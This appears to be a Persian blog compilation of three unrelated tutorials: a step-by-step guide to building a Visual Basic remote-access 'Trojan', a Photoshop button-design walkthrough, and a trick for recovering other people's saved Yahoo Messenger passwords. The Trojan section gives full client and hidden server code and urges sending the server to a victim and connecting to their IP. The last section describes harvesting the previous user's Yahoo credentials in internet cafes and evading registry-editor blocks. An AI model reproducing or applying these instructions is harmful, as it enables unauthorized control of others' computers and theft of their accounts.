__ اموزش ساختن Trojan با Visual Basic

در این مقاله سعی میکنم تا جایی که ممکنه موضوع را روان بیان کنم تا دوستانی که با Visual Basic هم آشنایی ندارند بتوانند یک Trojan برای خودشون بسازند !!
با این تروجان می توانید Cdrom قربانی را داخل وبیرون بیارید .
ومی توانید برای قربانی Message بفرستید !
اینا رو یاد بگیرید باحال تر از اینا رو به شما یاد میدم(که کارای خفن رو PC قربانی انجام بدین )
خوب ! شروع می کنیم :
VB=(Visual basic)

VB را اجرا کنید
و گزینه Standard Exe را انتخاب کنید

معمولا هر تروجان از 2 قسمت تشکیل شده
1.server که برای قربانی میفرستیم
2. Client خودمان باهاش کار می کنیم

خوب ! ما اول با هم Client را می سازیم (دقت کنید !)
نام Form را به frmClient تغییر دهید



یکی از ابزاری که نیاز داریم Winsock Control 6.0 برای ارتباط با پورت سرور
برای انتخاب این گزینه : Ctrl+t را فشار دهید یا در منوی Project گزینه Components را انتخاب کنید.صفحه به نام Components باز میشود که باید Winsock Control 6.0 را داخل ان پیدا وانتخاب کنید !


بعد از انتخاب Winsock Control 6.0 اگر به نوار سمت چپ نگاه کنین شکلی باید اضافه شده باشه :


---( Client )—
حالا باید گزینه های زیر روی frmClient قرار بگیرد

. 5 تا Command
.. 2 تا textbox
... 1 وینشک
... label 1



بعد نام تمام این گزینه ها را تغییر دهید (همانند نامهای زیر )!!! دقت کنید(مانند تغییر نام Form)

Command1 - cmdConnect
Command2 - cmdDisconnect
Command3 - cmdOpen
Command4 - cmdClose
Command5 - cmdMsg
Label1 - lblStatus
Text1 - txtIP
Text2 - txtMsg
Winsock1 - tcpClient

Caption گزینه ها را هم تغییر دهید



خوب الان دیگه وقت وارد کردن Code هاست
بر روی کلید Connect(command1)دوبار کلیک کنید و باز شدن صفحه کد زیر را وارد ان کنید. دقت کنید کد باید بین 2 کاراکتر زیر وارد شود!(روبروی کد ها نوع کار کد به انگلیسی توضیح داده شده .از اونم می توانید کمک بگیرید !

Private Sub cmdConnect_Click()
End Sub
این کد را بین این 2 کاراکتر کپی کنید .... بقیه هم به همین نوبت !

cmdConnect.Enabled = False ' disable the connect button
cmdDisconnect.Enabled = True ' eable the connect button
lblStatus.Caption = "Connecting" 'Show that you are trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical 'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered and on port 1234


در ا ینجا ما پورت را برابر 1234 قرار می دیم
روی کلید (Disconnect)(command2) نیز دو بار کلیک کنید وکد زیر را وارد صفحه کنید


lblStatus.Caption = "Not Connected" 'Show that you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True 'Enable the Connect button again
tcpClient.Close 'Close the connection

حالا بر روی شکل Winsock روی form دو بار کلیک کنید . وقتی صفحه کدها باز شد
بالای صفحه .سمت چپ از منو گزینه Connect را انتخاب کنید



وبین دو کاراکتر ایجاد شده در صفحه کدها.

Private Sub tcpClient_Connect()

End Sub

کد زیر را وارد کنید :

lblStatus.Caption = "Connected" 'Show that your connected to the Server

بریم سراغ کدها سی دی رام :

بر روی کلید Open cd-rom (command 3)دو بار کلیک کنید و بین دو کاراکتر ایجاد شده در صفحه کد . کد زیر را وارد کنید
tcpClient.SendData "opn" 'send this string to the server

همین کار رو با کلید Close cdrom (command 4) انجام بدین وکد زیر را بین کارکترهای ایجاد شده قرار بدین
tcpClient.SendData "cls" 'send this string to the server

..روی کلید send massage (command 5) نیز دوبار کیک کنید و کد زیر را وارد کنید

tcpClient.SendData "msg" & txtMsg 'send this string to the server and the text in the textbox


((((( تبریک میگم ؟!! شما الان Client را درست کردین )))))  
فقط کافیه به صورت Exe کپی بشه !!
همین !!!! امیدوارم Save کردنشو بلد باشی !!
ولی باشه . چون اول قول دادم که طوری اموزش بدم که افراد مبتدی هم حالی ببرند . می گم  
برای save :
File>make ……(project


نوبتم باشه . نوبت Server هست !!
بریییییییییییییم!
خوب یک Vb دیگه باز کنید و Standard Exe را انتخاب کنید
در اینجا هم به winsock نیاز داریم . همون کاری که برای اوردن winsockدر client انجام دادین . اینجا هم انجام بدین !

Winsockرا روی form قرار بدین .بعد نام فورم و وینشک را مطابق زیر تغیر بدین
Winsock = tcpServer
Form = frmServer
روی Form دو بار کلیک کنید و بین کاراکتر های ایجاد شده کد زیر را کپی کنید

me.hide
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listening

حالا روی Winsock دو بار کلیک کنید و از منوی سمت چپ گزینه connection requestرا انتخاب و بین دو کاراکتر ایجاد شده در صفحه کدها . کد زیر را وارد کنید

tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests

دوباره با کلیک بر روی Winsock از منوی سمت چپ صفحه کد باز شده گزینه errorرا انتخاب کنید و بین کاراکترهای ایجاد شده کد زیر را کپی کنید

On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again

حالا باید یک module داشته باشیم برای آوردن آن :
Project> Add Module>open

حالا داخل Module زیر را کپی کنید

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim SendStr As String, ReturnStr As String

Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function

Module را ببندید
و روی Form دو بار کلیک کنید و کد زیر را بالای صفحه (دقت کنید .بالا !) کپی کنید

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"( ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

دوباره روی Form کلیک کنید و کد زیر را به صفحه کدها اضافه کنید

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpServer.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub


اینم تمام شد حالا save کنید

خوب اینم از سرور ( تبریک می گم . شما یک Trojan نوشتید !؟ )  
حالا کافیه سرور را برای شخص مورد نظر بفرسین و پس از اطمینان از اجرای ان در کامپیوترش با وارد کردن ip او در Client به سیستم او وصل بشین و .........!؟  

البته اینو بگم که سرور قابلیت اینو که هر بار ویندوز لود میشه . اجرا بشه را نداره
و کارایی این Trojan هم محدوده (open & close cdrom…Send message)

چندتا سورس که میتونید از اونا استفاده کنید

سلام به همه....

 من در این آموزش یاد میدم که یک دکمه ی گرافیکی خیلی قشنگ مثل شکل زیر بسازید.

برای دیدن این آموزش روی ادامه ی متن کلیک کنید

--------------آموزش---------------

1- یک صفحه ای به اندازه ی 250*250 بسازید و بوسیله ی کلید (ctrl+Shift+N) یه لایه درست کنید. حالا با ابزار Elliptical Marquee یک دایره به شکل زیر بسازید و داخل اون رو سیاه کنید.

2. رویه لایه دوبار کلیک کنید تا صفحه ی Blending Options بازشه. حالا تغییرات زیر را انجام دهید.

Drop Shadow:

Bevel and emboss :

Gradient overlay :

رنگ Gradient رو از داده های زیر استفاده کنید :


Stroke :

رنگ Gradient رو از داده های زیر استفاده کنید :



Ok رو بزنید.

حالا شما یه چیزی شبیه شکل زیر باید بدست بیارید.

3. روی لایه ی اول Ctrl+Click بزنید تا دایره ای که ساختید انتخاب بشه حالا از منوهای بالا به قسمت Select > Modify > Contract بروید، و عدد 7 را در قسمت Contract By بزنید و بعد Ok را بزنید.

حالا دوباره بوسیله ی کلید (Ctrl+Shift+N) یک لایه ایجاد کنید و بدون اینکه چیزی را انتخاب کنید، اون دایره را سیاه کنید و بعد از اون کلید Ctrl+D رو بزنید تا دایره از حالت انتخاب در بیاد.

4. روی لایه ای که ساختید دوبار کلیک کنید تا صفحه ی Layer Style باز شود. و تنظیمات زیر را روی لایه ی خود انجام بدید.

Inner shadow :

Outter glow :

Inner glow :

Bevel and emboss :

Gradient overlay :

رنگ Gradient رو از داده های زیر استفاده کنید :

Stroke :

رنگ Gradient رو از داده های زیر استفاده کنید :

Ok رو بزنید.

حالا شما یه چیزی شبیه شکل زیر باید درست کرده باشید.

5. روی لایه ی دوم Ctrl+Click بزنید تا دایره انتخاب شه، دوباره از منوهای بالا به قسمت Select > Modify > Contract بروید. حالا این بار عدد 4 رو قرار بدید و Ok بزنید.

حالا ابزار Gradiant Tool را انتخاب کنید و رنگ Foreground خود را سفید کنید و  روی Gradiant Editor کلیک کنید و دومین آیکون یعنی Foreground to Transparent را انتخاب کنید و Ok رو بزنید.

یک لایه بوسیله ی کلید Ctrl+Shift+N درست کنید و مثل شکل زیر با ابزار Gradiant از بالا تا پایین بکشید.

6. دوباره یک لایه ی جدید بسازید و کل اون رو سفید کنید.

7. حالا بوسیله ی ابزار Elliptical Marquee قسمت از لایه ای که سفید کردید رو انتخاب کنید و Delete کنید. و Opacity او رو %40 بذارید.

 مثل شکل زیر:

8. روی لایه ی دوم Ctrl+Click کنید و از منوهای بالا به Select > Modify > Contract بروید و دوباره عدد 4 را وارد کنید و Ok را بزنید.

حالا یک لایه ی جدید درست کنید و کل اون دایره ای که انتخاب شده را سفید کنید؛

بوسیله ی ابزار Elliptical Marquee یه چیزی شبیه عکس زیر انتخاب کنید و اون رو Delete کنید.

9. بوسیله ی کلید Ctrl+D اون قسمت را از حالت انتخاب بر دارید و Opacity اون رو %20 بذارید.

کار شما به پایان رسید.

حالا شکل شما باید مثل عکس زیر شده باشه.

حالا برای قشنگ تر شدن این کار می تونید یک عکس بین لایه ی دوم و سوم قرار بدید و Opacticy اون رو بین %50 تا %70 قرار بدید.

در آوردن پسورد یاهو از ریجستری

 

اگر با ریجستری آشنایی ندارید بهتره اول به بخش ریجستری برید و یک خورده با اون آشنا بشید

از منوی Start گزینه Run را انتخاب کنید و Regedit را تایپ کنید تا داخل محیط ویرایش ریجستری شوید حالا به این کلیک در ریجستری بروید :

HKEY_CURRENT_USERSoftwareYahooPager

و روی Save Password دو بار کلید کنید و عدد 100 را در آن تایپ کنید و OK بزنید حالا

یاهو مسنجر را نگاه کنید آخرین ID و Password ID می بینید می توانید باآن LOGIN

بشوید .

حال باید یک برنامه که از قبل آمده کرده باشید که پسورد روی ویندوز را بخواند که با

آن بتوانید پسورد درون یاهو مسنجر را بخوانید.

این کار شما می توانید در کافی نت انجام بدهید چون پسورد شخص قبلی کسی

که قبل از شما کار می کرده اگر هم پسورد هم Save نکرده باشه می توانید در

بیارید .

توجه : شما می خواهید این کارو در کافی نت انجام بدهید اما می بینید هر چی

Regedi را در Run تایپ می کنید ویندوز Error به شما می دهد این به آن معنا است

که رجستری ویندوز پسورد داره پس شما بیاید به جای Regedi این را regedt32 تایپ

کنید